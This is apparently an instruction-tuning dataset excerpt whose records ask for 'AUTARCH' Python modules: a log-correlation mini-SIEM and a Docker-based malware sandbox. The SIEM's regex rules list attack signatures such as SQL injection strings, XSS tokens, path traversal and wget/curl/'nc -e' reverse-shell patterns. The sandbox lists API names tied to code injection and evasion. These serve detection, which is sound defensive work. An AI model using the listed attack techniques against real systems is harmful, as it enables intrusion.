        print(f"\n  {Colors.RED}Top Errors:{Colors.RESET}")
        for err, count in sorted(m.errors.items(), key=lambda x: -x[1])[:5]:
            print(f"    {count}× {err}")

    print()
    try:
        input(f"  {Colors.WHITE}Press Enter to continue...{Colors.RESET}")
    except (EOFError, KeyboardInterrupt):
        pass


Instruction: Create an AUTARCH module in the 'defense' category that log correlation & anomaly detection (mini-siem). The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.

Input:
Module name: log_correlator
Category: defense
Description: Log correlation & anomaly detection (mini-SIEM)

Output:
"""AUTARCH Log Correlator

Syslog ingestion, pattern matching, anomaly detection, alert rules,
timeline correlation, and mini-SIEM functionality.
"""

DESCRIPTION = "Log correlation & anomaly detection (mini-SIEM)"
AUTHOR = "darkHal"
VERSION = "1.0"
CATEGORY = "defense"

import os
import re
import json
import time
import threading
from pathlib import Path
from datetime import datetime, timezone
from collections import Counter, defaultdict
from typing import Dict, List, Optional, Any

try:
    from core.paths import get_data_dir
except ImportError:
    def get_data_dir():
        return str(Path(__file__).parent.parent / 'data')

# ── Built-in Detection Rules ────────────────────────────────────────────────

DEFAULT_RULES = [
    {
        'id': 'brute_force_ssh',
        'name': 'SSH Brute Force',
        'pattern': r'(Failed password|authentication failure).*ssh',
        'severity': 'high',
        'threshold': 5,
        'window_seconds': 60,
        'description': 'Multiple failed SSH login attempts'
    },
    {
        'id': 'brute_force_web',
        'name': 'Web Login Brute Force',
        'pattern': r'(401|403).*POST.*(login|auth|signin)',
        'severity': 'high',
        'threshold': 10,
        'window_seconds': 60,
        'description': 'Multiple failed web login attempts'
    },
    {
        'id': 'sql_injection',
        'name': 'SQL Injection Attempt',
        'pattern': r"(UNION\s+SELECT|OR\s+1\s*=\s*1|DROP\s+TABLE|'--|\bSLEEP\()",
        'severity': 'critical',
        'threshold': 1,
        'window_seconds': 0,
        'description': 'SQL injection pattern detected'
    },
    {
        'id': 'xss_attempt',
        'name': 'XSS Attempt',
        'pattern': r'(<script|javascript:|onerror=|onload=|<svg\s+onload)',
        'severity': 'high',
        'threshold': 1,
        'window_seconds': 0,
        'description': 'Cross-site scripting pattern detected'
    },
    {
        'id': 'path_traversal',
        'name': 'Path Traversal',
        'pattern': r'(\.\./|\.\.\\|%2e%2e)',
        'severity': 'high',
        'threshold': 1,
        'window_seconds': 0,
        'description': 'Directory traversal attempt'
    },
    {
        'id': 'priv_escalation',
        'name': 'Privilege Escalation',
        'pattern': r'(sudo|su\s+-|pkexec|gpasswd|usermod.*-G.*sudo)',
        'severity': 'medium',
        'threshold': 3,
        'window_seconds': 300,
        'description': 'Multiple privilege escalation attempts'
    },
    {
        'id': 'port_scan',
        'name': 'Port Scan Detected',
        'pattern': r'(connection refused|reset by peer|SYN_RECV)',
        'severity': 'medium',
        'threshold': 20,
        'window_seconds': 10,
        'description': 'Rapid connection attempts indicate scanning'
    },
    {
        'id': 'suspicious_download',
        'name': 'Suspicious Download',
        'pattern': r'(wget|curl|python.*http|nc\s+-e)',
        'severity': 'medium',
        'threshold': 1,
        'window_seconds': 0,
        'description': 'Potential malicious download or reverse shell'
    },
    {
        'id': 'service_crash',
        'name': 'Service Crash',
        'pattern': r'(segfault|core dumped|out of memory|killed process)',
        'severity': 'high',
        'threshold': 1,
        'window_seconds': 0,
        'description': 'Service crash or OOM event'
    },
    {
        'id': 'root_login',
        'name': 'Root Login',
        'pattern': r'(session opened.*root|Accepted.*root|su.*root)',
        'severity': 'medium',
        'threshold': 1,
        'window_seconds': 0,
        'description': 'Root/admin login detected'
    },
]

# ── Log Parser ───────────────────────────────────────────────────────────────

class LogParser:
    """Multi-format log parser."""

    SYSLOG_RE = re.compile(
        r'^(\w{3}\s+\d+\s+\d{2}:\d{2}:\d{2})\s+(\S+)\s+(\S+?)(?:\[(\d+)\])?:\s*(.*)'
    )
    APACHE_RE = re.compile(
        r'^(\S+)\s+\S+\s+\S+\s+\[([^\]]+)\]\s+"(\S+)\s+(\S+)\s+\S+"\s+(\d+)\s+(\d+)'
    )
    JSON_LOG_RE = re.compile(r'^\{.*\}$')

    @staticmethod
    def parse_line(line: str) -> Optional[Dict]:
        """Parse a single log line."""
        line = line.strip()
        if not line:
            return None

        # Try JSON format
        if LogParser.JSON_LOG_RE.match(line):
            try:
                data = json.loads(line)
                return {
                    'format': 'json',
                    'timestamp': data.get('timestamp', data.get('time', data.get('@timestamp', ''))),
                    'source': data.get('source', data.get('host', '')),
                    'program': data.get('program', data.get('service', data.get('logger', ''))),
                    'message': data.get('message', data.get('msg', str(data))),
                    'level': data.get('level', data.get('severity', 'info')),
                    'raw': line
                }
            except json.JSONDecodeError:
                pass

        # Try syslog format
        m = LogParser.SYSLOG_RE.match(line)
        if m:
            return {
                'format': 'syslog',
                'timestamp': m.group(1),
                'source': m.group(2),
                'program': m.group(3),
                'pid': m.group(4),
                'message': m.group(5),
                'raw': line
            }

        # Try Apache/Nginx format
        m = LogParser.APACHE_RE.match(line)
        if m:
            return {
                'format': 'apache',
                'timestamp': m.group(2),
                'source': m.group(1),
                'method': m.group(3),
                'path': m.group(4),
                'status': int(m.group(5)),
                'size': int(m.group(6)),
                'message': line,
                'raw': line
            }

        # Generic fallback
        return {
            'format': 'unknown',
            'timestamp': '',
            'message': line,
            'raw': line
        }

# ── Log Correlator Engine ────────────────────────────────────────────────────

class LogCorrelator:
    """Log correlation and anomaly detection engine."""

    def __init__(self):
        self.data_dir = os.path.join(get_data_dir(), 'log_correlator')
        os.makedirs(self.data_dir, exist_ok=True)

        self.rules: List[Dict] = list(DEFAULT_RULES)
        self.alerts: List[Dict] = []
        self.logs: List[Dict] = []
        self.sources: Dict[str, Dict] = {}
        self._rule_hits: Dict[str, List[float]] = defaultdict(list)
        self._lock = threading.Lock()
        self._load_custom_rules()
        self._load_alerts()

    def _load_custom_rules(self):
        rules_file = os.path.join(self.data_dir, 'custom_rules.json')
        if os.path.exists(rules_file):
            try:
                with open(rules_file) as f:
                    custom = json.load(f)
                self.rules.extend(custom)
            except Exception:
                pass

    def _save_custom_rules(self):
        # Only save non-default rules
        default_ids = {r['id'] for r in DEFAULT_RULES}
        custom = [r for r in self.rules if r['id'] not in default_ids]
        rules_file = os.path.join(self.data_dir, 'custom_rules.json')
        with open(rules_file, 'w') as f:
            json.dump(custom, f, indent=2)

    def _load_alerts(self):
        alerts_file = os.path.join(self.data_dir, 'alerts.json')
        if os.path.exists(alerts_file):
            try:
                with open(alerts_file) as f:
                    self.alerts = json.load(f)
            except Exception:
                pass

    def _save_alerts(self):
        alerts_file = os.path.join(self.data_dir, 'alerts.json')
        with open(alerts_file, 'w') as f:
            json.dump(self.alerts[-1000:], f, indent=2)

    # ── Log Ingestion ────────────────────────────────────────────────────

    def ingest_file(self, filepath: str, source_name: str = None) -> Dict:
        """Ingest log file for analysis."""
        if not os.path.exists(filepath):
            return {'ok': False, 'error': 'File not found'}

        source = source_name or Path(filepath).name
        parsed = 0
        alerts_generated = 0

        try:
            with open(filepath, 'r', errors='ignore') as f:
                for line in f:
                    entry = LogParser.parse_line(line)
                    if entry:
                        entry['source_file'] = source
                        self.logs.append(entry)
                        parsed += 1

                        # Run detection rules
                        new_alerts = self._check_rules(entry)
                        alerts_generated += len(new_alerts)

            self.sources[source] = {
                'file': filepath,
                'lines': parsed,
                'ingested': datetime.now(timezone.utc).isoformat()
            }

            if alerts_generated:
                self._save_alerts()

            return {
                'ok': True, 'source': source,
                'lines_parsed': parsed,
                'alerts_generated': alerts_generated
            }

        except Exception as e:
            return {'ok': False, 'error': str(e)}

    def ingest_text(self, text: str, source_name: str = 'paste') -> Dict:
        """Ingest log text directly."""
        parsed = 0
        alerts_generated = 0

        for line in text.strip().splitlines():
            entry = LogParser.parse_line(line)
            if entry:
                entry['source_file'] = source_name
                self.logs.append(entry)
                parsed += 1
                new_alerts = self._check_rules(entry)
                alerts_generated += len(new_alerts)

        if alerts_generated:
            self._save_alerts()

        return {
            'ok': True, 'source': source_name,
            'lines_parsed': parsed,
            'alerts_generated': alerts_generated
        }

    # ── Detection ────────────────────────────────────────────────────────

    def _check_rules(self, entry: Dict) -> List[Dict]:
        """Check log entry against detection rules."""
        new_alerts = []
        message = entry.get('message', '') + ' ' + entry.get('raw', '')
        now = time.time()

        for rule in self.rules:
            try:
                if re.search(rule['pattern'], message, re.I):
                    rule_id = rule['id']

                    # Threshold check
                    if rule.get('threshold', 1) > 1 and rule.get('window_seconds', 0) > 0:
                        with self._lock:
                            self._rule_hits[rule_id].append(now)
                            # Clean old hits
                            window = rule['window_seconds']
                            self._rule_hits[rule_id] = [
                                t for t in self._rule_hits[rule_id]
                                if now - t <= window
                            ]
                            if len(self._rule_hits[rule_id]) < rule['threshold']:
                                continue

                    alert = {
                        'timestamp': datetime.now(timezone.utc).isoformat(),
                        'rule_id': rule_id,
                        'rule_name': rule['name'],
                        'severity': rule['severity'],
                        'description': rule['description'],
                        'source': entry.get('source_file', ''),
                        'log_entry': entry.get('message', '')[:200],
                        'raw': entry.get('raw', '')[:300]
                    }
                    self.alerts.append(alert)
                    new_alerts.append(alert)
            except re.error:
                pass

        return new_alerts

    # ── Rule Management ──────────────────────────────────────────────────

    def add_rule(self, rule_id: str, name: str, pattern: str,
                 severity: str = 'medium', threshold: int = 1,
                 window_seconds: int = 0, description: str = '') -> Dict:
        """Add custom detection rule."""
        # Validate regex
        try:
            re.compile(pattern)
        except re.error as e:
            return {'ok': False, 'error': f'Invalid regex: {e}'}

        rule = {
            'id': rule_id, 'name': name, 'pattern': pattern,
            'severity': severity, 'threshold': threshold,
            'window_seconds': window_seconds,
            'description': description
        }
        self.rules.append(rule)
        self._save_custom_rules()
        return {'ok': True, 'rule': rule}

    def remove_rule(self, rule_id: str) -> Dict:
        """Remove a custom rule."""
        default_ids = {r['id'] for r in DEFAULT_RULES}
        if rule_id in default_ids:
            return {'ok': False, 'error': 'Cannot remove built-in rule'}

        before = len(self.rules)
        self.rules = [r for r in self.rules if r['id'] != rule_id]
        if len(self.rules) < before:
            self._save_custom_rules()
            return {'ok': True}
        return {'ok': False, 'error': 'Rule not found'}

    def get_rules(self) -> List[Dict]:
        """List all detection rules."""
        default_ids = {r['id'] for r in DEFAULT_RULES}
        return [{**r, 'builtin': r['id'] in default_ids} for r in self.rules]

    # ── Analysis ─────────────────────────────────────────────────────────

    def search_logs(self, query: str, source: str = None,
                     limit: int = 100) -> List[Dict]:
        """Search ingested logs."""
        results = []
        for entry in reversed(self.logs):
            if source and entry.get('source_file') != source:
                continue
            if query.lower() in (entry.get('message', '') + entry.get('raw', '')).lower():
                results.append(entry)
                if len(results) >= limit:
                    break
        return results

    def get_stats(self) -> Dict:
        """Get correlator statistics."""
        severity_counts = Counter(a['severity'] for a in self.alerts)
        rule_counts = Counter(a['rule_id'] for a in self.alerts)
        source_counts = Counter(e.get('source_file', '') for e in self.logs)

        return {
            'total_logs': len(self.logs),
            'total_alerts': len(self.alerts),
            'sources': len(self.sources),
            'rules': len(self.rules),
            'alerts_by_severity': dict(severity_counts),
            'top_rules': dict(rule_counts.most_common(10)),
            'top_sources': dict(source_counts.most_common(10))
        }

    def get_alerts(self, severity: str = None, limit: int = 100) -> List[Dict]:
        """Get alerts with optional filtering."""
        alerts = self.alerts
        if severity:
            alerts = [a for a in alerts if a['severity'] == severity]
        return alerts[-limit:]

    def clear_alerts(self):
        """Clear all alerts."""
        self.alerts.clear()
        self._save_alerts()

    def clear_logs(self):
        """Clear ingested logs."""
        self.logs.clear()
        self.sources.clear()

    def get_sources(self) -> Dict:
        """Get ingested log sources."""
        return self.sources

    def get_timeline(self, hours: int = 24) -> List[Dict]:
        """Get alert timeline grouped by hour."""
        timeline = defaultdict(lambda: {'count': 0, 'critical': 0, 'high': 0, 'medium': 0, 'low': 0})

        for alert in self.alerts:
            ts = alert.get('timestamp', '')[:13]  # YYYY-MM-DDTHH
            timeline[ts]['count'] += 1
            sev = alert.get('severity', 'low')
            timeline[ts][sev] = timeline[ts].get(sev, 0) + 1

        return [{'hour': k, **v} for k, v in sorted(timeline.items())[-hours:]]

# ── Singleton ────────────────────────────────────────────────────────────────

_instance = None

def get_log_correlator() -> LogCorrelator:
    global _instance
    if _instance is None:
        _instance = LogCorrelator()
    return _instance

# ── CLI Interface ────────────────────────────────────────────────────────────

def run():
    """CLI entry point for Log Correlator module."""
    engine = get_log_correlator()

    while True:
        stats = engine.get_stats()
        print(f"\n{'='*60}")
        print(f"  Log Correlator  ({stats['total_logs']} logs, {stats['total_alerts']} alerts)")
        print(f"{'='*60}")
        print()
        print("  1 — Ingest Log File")
        print("  2 — Paste Log Text")
        print("  3 — Search Logs")
        print("  4 — View Alerts")
        print("  5 — Manage Rules")
        print("  6 — View Stats")
        print("  7 — Alert Timeline")
        print("  8 — Clear Alerts")
        print("  0 — Back")
        print()

        choice = input("  > ").strip()

        if choice == '0':
            break
        elif choice == '1':
            filepath = input("  Log file path: ").strip()
            if filepath:
                result = engine.ingest_file(filepath)
                if result['ok']:
                    print(f"    Parsed {result['lines_parsed']} lines, "
                          f"{result['alerts_generated']} alerts generated")
                else:
                    print(f"    Error: {result['error']}")
        elif choice == '2':
            print("  Paste log lines (blank line to finish):")
            lines = []
            while True:
                line = input()
                if not line:
                    break
                lines.append(line)
            if lines:
                result = engine.ingest_text('\n'.join(lines))
                print(f"    Parsed {result['lines_parsed']} lines, "
                      f"{result['alerts_generated']} alerts")
        elif choice == '3':
            query = input("  Search query: ").strip()
            if query:
                results = engine.search_logs(query)
                print(f"    {len(results)} matches:")
                for r in results[:10]:
                    print(f"      [{r.get('source_file', '?')}] {r.get('message', '')[:80]}")
        elif choice == '4':
            sev = input("  Severity filter (blank=all): ").strip() or None
            alerts = engine.get_alerts(severity=sev)
            for a in alerts[-15:]:
                print(f"    [{a['severity']:<8}] {a['rule_name']}: {a['log_entry'][:60]}")
        elif choice == '5':
            rules = engine.get_rules()
            for r in rules:
                builtin = ' (built-in)' if r.get('builtin') else ''
                print(f"    {r['id']}: {r['name']} [{r['severity']}]{builtin}")
        elif choice == '6':
            print(f"    Logs: {stats['total_logs']}")
            print(f"    Alerts: {stats['total_alerts']}")
            print(f"    Sources: {stats['sources']}")
            print(f"    Rules: {stats['rules']}")
            if stats['alerts_by_severity']:
                print(f"    By severity: {stats['alerts_by_severity']}")
        elif choice == '7':
            timeline = engine.get_timeline()
            for t in timeline[-12:]:
                bar = '#' * min(t['count'], 40)
                print(f"    {t['hour']} | {bar} ({t['count']})")
        elif choice == '8':
            engine.clear_alerts()
            print("    Alerts cleared")


Instruction: Create an AUTARCH module in the 'analyze' category that malware detonation sandbox & analysis. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.

Input:
Module name: malware_sandbox
Category: analyze
Description: Malware detonation sandbox & analysis

Output:
"""AUTARCH Malware Sandbox

Isolated sample detonation (Docker-based), behavior logging, API call tracing,
network activity monitoring, and file system change tracking.
"""

DESCRIPTION = "Malware detonation sandbox & analysis"
AUTHOR = "darkHal"
VERSION = "1.0"
CATEGORY = "analyze"

import os
import re
import json
import time
import shutil
import hashlib
import subprocess
import threading
from pathlib import Path
from datetime import datetime, timezone
from typing import Dict, List, Optional, Any

try:
    from core.paths import find_tool, get_data_dir
except ImportError:
    def find_tool(name):
        return shutil.which(name)
    def get_data_dir():
        return str(Path(__file__).parent.parent / 'data')

# ── YARA Rules (basic) ──────────────────────────────────────────────────────

BASIC_YARA_INDICATORS = {
    'suspicious_imports': [
        b'CreateRemoteThread', b'VirtualAllocEx', b'WriteProcessMemory',
        b'NtQueryInformationProcess', b'IsDebuggerPresent',
        b'GetProcAddress', b'LoadLibraryA', b'ShellExecuteA',
    ],
    'crypto_indicators': [
        b'CryptEncrypt', b'CryptDecrypt', b'BCryptEncrypt',
        b'AES', b'RSA', b'BEGIN PUBLIC KEY',
    ],
    'network_indicators': [
        b'InternetOpenA', b'HttpOpenRequestA', b'URLDownloadToFile',
        b'WSAStartup', b'connect', b'send', b'recv',
        b'http://', b'https://', b'ftp://',
    ],
    'persistence_indicators': [
        b'CurrentVersion\\Run', b'SOFTWARE\\Microsoft\\Windows\\CurrentVersion',
        b'schtasks', b'at.exe', b'HKEY_LOCAL_MACHINE', b'HKEY_CURRENT_USER',
        b'crontab', b'/etc/cron',
    ],
    'evasion_indicators': [
        b'IsDebuggerPresent', b'CheckRemoteDebuggerPresent',
        b'NtSetInformationThread', b'vmware', b'virtualbox', b'vbox',
        b'sandbox', b'SbieDll.dll',
    ],
}

# ── Sandbox Engine ───────────────────────────────────────────────────────────

class MalwareSandbox:
    """Isolated malware analysis environment."""

    def __init__(self):
        self.data_dir = os.path.join(get_data_dir(), 'sandbox')
        os.makedirs(self.data_dir, exist_ok=True)
        self.samples_dir = os.path.join(self.data_dir, 'samples')
        os.makedirs(self.samples_dir, exist_ok=True)
        self.reports_dir = os.path.join(self.data_dir, 'reports')
        os.makedirs(self.reports_dir, exist_ok=True)

        self.docker = find_tool('docker') or shutil.which('docker')
        self.strace = shutil.which('strace')
        self.ltrace = shutil.which('ltrace')
        self.file_cmd = shutil.which('file')
        self.strings_cmd = find_tool('strings') or shutil.which('strings')

        self.analyses: List[Dict] = []
        self._jobs: Dict[str, Dict] = {}

    def get_status(self) -> Dict:
        """Get sandbox capabilities."""
        docker_ok = False
        if self.docker:
            try:
                result = subprocess.run([self.docker, 'info'],
                                         capture_output=True, timeout=5)
                docker_ok = result.returncode == 0
            except Exception:
                pass

        return {
            'docker': docker_ok,
            'strace': self.strace is not None,
            'ltrace': self.ltrace is not None,
            'file': self.file_cmd is not None,
            'strings': self.strings_cmd is not None,
            'samples': len(list(Path(self.samples_dir).iterdir())),
            'analyses': len(self.analyses)
        }

    # ── Sample Management ────────────────────────────────────────────────

    def submit_sample(self, filepath: str, name: str = None) -> Dict:
        """Submit a sample for analysis."""
        if not os.path.exists(filepath):
            return {'ok': False, 'error': 'File not found'}

        # Hash the sample
        hashes = {}
        with open(filepath, 'rb') as f:
            data = f.read()
            hashes['md5'] = hashlib.md5(data).hexdigest()
            hashes['sha1'] = hashlib.sha1(data).hexdigest()
            hashes['sha256'] = hashlib.sha256(data).hexdigest()

        # Copy to samples dir
        sample_name = name or Path(filepath).name
        safe_name = re.sub(r'[^\w.\-]', '_', sample_name)
        dest = os.path.join(self.samples_dir, f'{hashes["sha256"][:16]}_{safe_name}')
        shutil.copy2(filepath, dest)

        sample = {
            'name': sample_name,
            'path': dest,
            'size': os.path.getsize(dest),
            'hashes': hashes,
            'submitted': datetime.now(timezone.utc).isoformat()
        }

        return {'ok': True, 'sample': sample}

    def list_samples(self) -> List[Dict]:
        """List submitted samples."""
        samples = []
        for f in Path(self.samples_dir).iterdir():
            if f.is_file():
                samples.append({
                    'name': f.name,
                    'path': str(f),
                    'size': f.stat().st_size,
                    'modified': datetime.fromtimestamp(f.stat().st_mtime, timezone.utc).isoformat()
                })
        return samples

    # ── Static Analysis ──────────────────────────────────────────────────

    def static_analysis(self, filepath: str) -> Dict:
        """Perform static analysis on a sample."""
        if not os.path.exists(filepath):
            return {'ok': False, 'error': 'File not found'}

        result = {
            'ok': True,
            'file': filepath,
            'name': Path(filepath).name,
            'size': os.path.getsize(filepath)
        }

        # File type identification
        if self.file_cmd:
            try:
                out = subprocess.check_output([self.file_cmd, filepath],
                                                text=True, timeout=10)
                result['file_type'] = out.split(':', 1)[-1].strip()
            except Exception:
                pass

        # Hashes
        with open(filepath, 'rb') as f:
            data = f.read()
            result['hashes'] = {
                'md5': hashlib.md5(data).hexdigest(),
                'sha1': hashlib.sha1(data).hexdigest(),
                'sha256': hashlib.sha256(data).hexdigest()
            }

        # Strings extraction
        if self.strings_cmd:
            try:
                out = subprocess.check_output(
                    [self.strings_cmd, '-n', '6', filepath],
                    text=True, timeout=30, stderr=subprocess.DEVNULL
                )
                strings = out.strip().split('\n')
                result['strings_count'] = len(strings)

                # Extract interesting strings
                urls = [s for s in strings if re.match(r'https?://', s)]
                ips = [s for s in strings if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', s)]
                emails = [s for s in strings if re.match(r'[^@]+@[^@]+\.[^@]+', s)]
                paths = [s for s in strings if s.startswith('/') or '\\' in s]

                result['interesting_strings'] = {
                    'urls': urls[:20],
                    'ips': list(set(ips))[:20],
                    'emails': list(set(emails))[:10],
                    'paths': paths[:20]
                }
            except Exception:
                pass

        # YARA-like signature matching
        indicators = {}
        for category, patterns in BASIC_YARA_INDICATORS.items():
            matches = [p.decode('utf-8', errors='replace') for p in patterns if p in data]
            if matches:
                indicators[category] = matches

        result['indicators'] = indicators
        result['indicator_count'] = sum(len(v) for v in indicators.values())

        # PE header analysis
        if data[:2] == b'MZ':
            result['pe_info'] = self._parse_pe_header(data)

        # ELF header analysis
        if data[:4] == b'\x7fELF':
            result['elf_info'] = self._parse_elf_header(data)

        # Risk score
        score = 0
        if indicators.get('evasion_indicators'):
            score += 30
        if indicators.get('persistence_indicators'):
            score += 25
        if indicators.get('suspicious_imports'):
            score += 20
        if indicators.get('network_indicators'):
            score += 15
        if indicators.get('crypto_indicators'):
            score += 10

        result['risk_score'] = min(100, score)
        result['risk_level'] = (
            'critical' if score >= 70 else
            'high' if score >= 50 else
            'medium' if score >= 30 else
            'low' if score >= 10 else
            'clean'
        )

        return result

    def _parse_pe_header(self, data: bytes) -> Dict:
        """Basic PE header parsing."""
        info = {'format': 'PE'}
        try:
            import struct
            e_lfanew = struct.unpack_from('<I', data, 0x3C)[0]
            if data[e_lfanew:e_lfanew+4] == b'PE\x00\x00':
                machine = struct.unpack_from('<H', data, e_lfanew + 4)[0]
                info['machine'] = {0x14c: 'i386', 0x8664: 'x86_64', 0x1c0: 'ARM'}.get(machine, hex(machine))
                num_sections = struct.unpack_from('<H', data, e_lfanew + 6)[0]
                info['sections'] = num_sections
                timestamp = struct.unpack_from('<I', data, e_lfanew + 8)[0]
                info['compile_time'] = datetime.fromtimestamp(timestamp, timezone.utc).isoformat()
        except Exception:
            pass
        return info

    def _parse_elf_header(self, data: bytes) -> Dict:
        """Basic ELF header parsing."""
        info = {'format': 'ELF'}
        try:
            import struct
            ei_class = data[4]
            info['bits'] = {1: 32, 2: 64}.get(ei_class, 0)
            ei_data = data[5]
            info['endian'] = {1: 'little', 2: 'big'}.get(ei_data, 'unknown')
            e_type = struct.unpack_from('<H', data, 16)[0]
            info['type'] = {1: 'relocatable', 2: 'executable', 3: 'shared', 4: 'core'}.get(e_type, str(e_type))
        except Exception:
            pass
        return info

    # ── Dynamic Analysis (Docker) ────────────────────────────────────────

    def dynamic_analysis(self, filepath: str, timeout: int = 60) -> str:
        """Run sample in Docker sandbox. Returns job_id."""
        if not self.docker:
            return ''

        job_id = f'sandbox_{int(time.time())}'
        self._jobs[job_id] = {
            'type': 'dynamic', 'status': 'running',
            'result': None, 'started': time.time()
        }

        def _run():
            try:
                container_name = f'autarch_sandbox_{job_id}'
                sample_name = Path(filepath).name

                # Run in isolated container
                cmd = [
                    self.docker, 'run', '--rm',
                    '--name', container_name,
                    '--network', 'none',  # No network
                    '--memory', '256m',   # Memory limit
                    '--cpus', '1',        # CPU limit
                    '--read-only',        # Read-only root
                    '--tmpfs', '/tmp:size=64m',
                    '-v', f'{os.path.abspath(filepath)}:/sample/{sample_name}:ro',
                    'ubuntu:22.04',
                    'bash', '-c', f'''
                        # Log file operations
                        cp /sample/{sample_name} /tmp/test_sample
                        chmod +x /tmp/test_sample 2>/dev/null
                        # Try to run with strace if available
                        timeout {timeout} strace -f -o /tmp/trace.log /tmp/test_sample 2>/tmp/stderr.log || true
                        cat /tmp/trace.log 2>/dev/null | head -1000
                        echo "---STDERR---"
                        cat /tmp/stderr.log 2>/dev/null | head -100
                    '''
                ]

                result = subprocess.run(cmd, capture_output=True, text=True,
                                         timeout=timeout + 30)

                # Parse strace output
                syscalls = {}
                files_accessed = []
                network_calls = []

                for line in result.stdout.split('\n'):
                    # Count syscalls
                    sc_match = re.match(r'.*?(\w+)\(', line)
                    if sc_match:
                        sc = sc_match.group(1)
                        syscalls[sc] = syscalls.get(sc, 0) + 1

                    # File access
                    if 'open(' in line or 'openat(' in line:
                        f_match = re.search(r'"([^"]+)"', line)
                        if f_match:
                            files_accessed.append(f_match.group(1))

                    # Network
                    if 'connect(' in line or 'socket(' in line:
                        network_calls.append(line.strip()[:100])

                self._jobs[job_id]['status'] = 'complete'
                self._jobs[job_id]['result'] = {
                    'ok': True,
                    'syscalls': syscalls,
                    'syscall_count': sum(syscalls.values()),
                    'files_accessed': list(set(files_accessed))[:50],
                    'network_calls': network_calls[:20],
                    'exit_code': result.returncode,
                    'stderr': result.stderr[:500] if result.stderr else ''
                }

            except subprocess.TimeoutExpired:
                # Kill container
                subprocess.run([self.docker, 'kill', container_name],
                                capture_output=True)
                self._jobs[job_id]['status'] = 'complete'
                self._jobs[job_id]['result'] = {
                    'ok': True, 'timeout': True,
                    'message': 'Analysis timed out (sample may be long-running)'
                }
            except Exception as e:
                self._jobs[job_id]['status'] = 'error'
                self._jobs[job_id]['result'] = {'ok': False, 'error': str(e)}

        threading.Thread(target=_run, daemon=True).start()
        return job_id

    # ── Report Generation ────────────────────────────────────────────────

    def generate_report(self, filepath: str, include_dynamic: bool = False) -> Dict:
        """Generate comprehensive analysis report."""
        static = self.static_analysis(filepath)
        report = {
            'timestamp': datetime.now(timezone.utc).isoformat(),
            'sample': {
                'name': Path(filepath).name,
                'path': filepath,
                'size': static.get('size', 0),
                'hashes': static.get('hashes', {})
            },
            'static_analysis': static,
            'risk_score': static.get('risk_score', 0),
            'risk_level': static.get('risk_level', 'unknown')
        }

        # Save report
        report_name = f'report_{static.get("hashes", {}).get("sha256", "unknown")[:16]}.json'
        report_path = os.path.join(self.reports_dir, report_name)
        with open(report_path, 'w') as f:
            json.dump(report, f, indent=2)

        report['report_path'] = report_path
        self.analyses.append({
            'name': Path(filepath).name,
            'report': report_path,
            'risk': report['risk_level'],
            'timestamp': report['timestamp']
        })

        return {'ok': True, **report}

    def list_reports(self) -> List[Dict]:
        """List analysis reports."""
        reports = []
        for f in Path(self.reports_dir).glob('*.json'):
            try:
                with open(f) as fh:
                    data = json.load(fh)
                reports.append({
                    'name': f.name,
                    'path': str(f),
                    'sample': data.get('sample', {}).get('name', ''),
                    'risk': data.get('risk_level', 'unknown'),
                    'timestamp': data.get('timestamp', '')
                })
            except Exception:
                pass
        return reports

    # ── Job Management ───────────────────────────────────────────────────

    def get_job(self, job_id: str) -> Optional[Dict]:
        return self._jobs.get(job_id)

# ── Singleton ────────────────────────────────────────────────────────────────

_instance = None

def get_sandbox() -> MalwareSandbox:
    global _instance
    if _instance is None:
        _instance = MalwareSandbox()
    return _instance

# ── CLI Interface ────────────────────────────────────────────────────────────

def run():
    """CLI entry point for Malware Sandbox module."""
    sandbox = get_sandbox()

    while True:
        status = sandbox.get_status()
        print(f"\n{'='*60}")
        print(f"  Malware Sandbox")
        print(f"{'='*60}")
        print(f"  Docker: {'OK' if status['docker'] else 'NOT AVAILABLE'}")
        print(f"  Samples: {status['samples']}  Analyses: {status['analyses']}")
        print()
        print("  1 — Submit Sample")
        print("  2 — Static Analysis")
        print("  3 — Dynamic Analysis (Docker)")
        print("  4 — Full Report")
        print("  5 — List Samples")
        print("  6 — List Reports")
        print("  0 — Back")
        print()

        choice = input("  > ").strip()

        if choice == '0':
            break
        elif choice == '1':
            path = input("  File path: ").strip()
            if path:
                result = sandbox.submit_sample(path)
                if result['ok']:
                    s = result['sample']
                    print(f"    Submitted: {s['name']} ({s['size']} bytes)")
                    print(f"    SHA256: {s['hashes']['sha256']}")
                else:
                    print(f"    Error: {result['error']}")
        elif choice == '2':
            path = input("  Sample path: ").strip()
            if path:
                result = sandbox.static_analysis(path)
                if result['ok']:
                    print(f"    Type: {result.get('file_type', 'unknown')}")
                    print(f"    Risk: {result['risk_level']} ({result['risk_score']}/100)")
                    print(f"    Strings: {result.get('strings_count', 0)}")
                    for cat, matches in result.get('indicators', {}).items():
                        print(f"    {cat}: {', '.join(matches[:5])}")
                else:
                    print(f"    Error: {result['error']}")
        elif choice == '3':
            if not status['docker']:
                print("    Docker not available")
                continue
            path = input("  Sample path: ").strip()
            if path:
                job_id = sandbox.dynamic_analysis(path)
                print(f"    Running in sandbox (job: {job_id})...")
                while True:
                    job = sandbox.get_job(job_id)
                    if job['status'] != 'running':
                        r = job['result']
                        if r.get('ok'):
                            print(f"    Syscalls: {r.get('syscall_count', 0)}")
                            print(f"    Files: {len(r.get('files_accessed', []))}")
                            print(f"    Network: {len(r.get('network_calls', []))}")
                        else:
                            print(f"    Error: {r.get('error', 'Unknown')}")
                        break
                    time.sleep(2)
        elif choice == '4':
            path = input("  Sample path: ").strip()
            if path:
                result = sandbox.generate_report(path)
                if result['ok']:
                    print(f"    Report: {result['report_path']}")
                    print(f"    Risk: {result['risk_level']} ({result['risk_score']}/100)")
        elif choice == '5':
            for s in sandbox.list_samples():
                print(f"    {s['name']}  ({s['size']} bytes)")
        elif choice == '6':
            for r in sandbox.list_reports():
                print(f"    [{r['risk']}] {r['sample']}  {r['timestamp'][:19]}")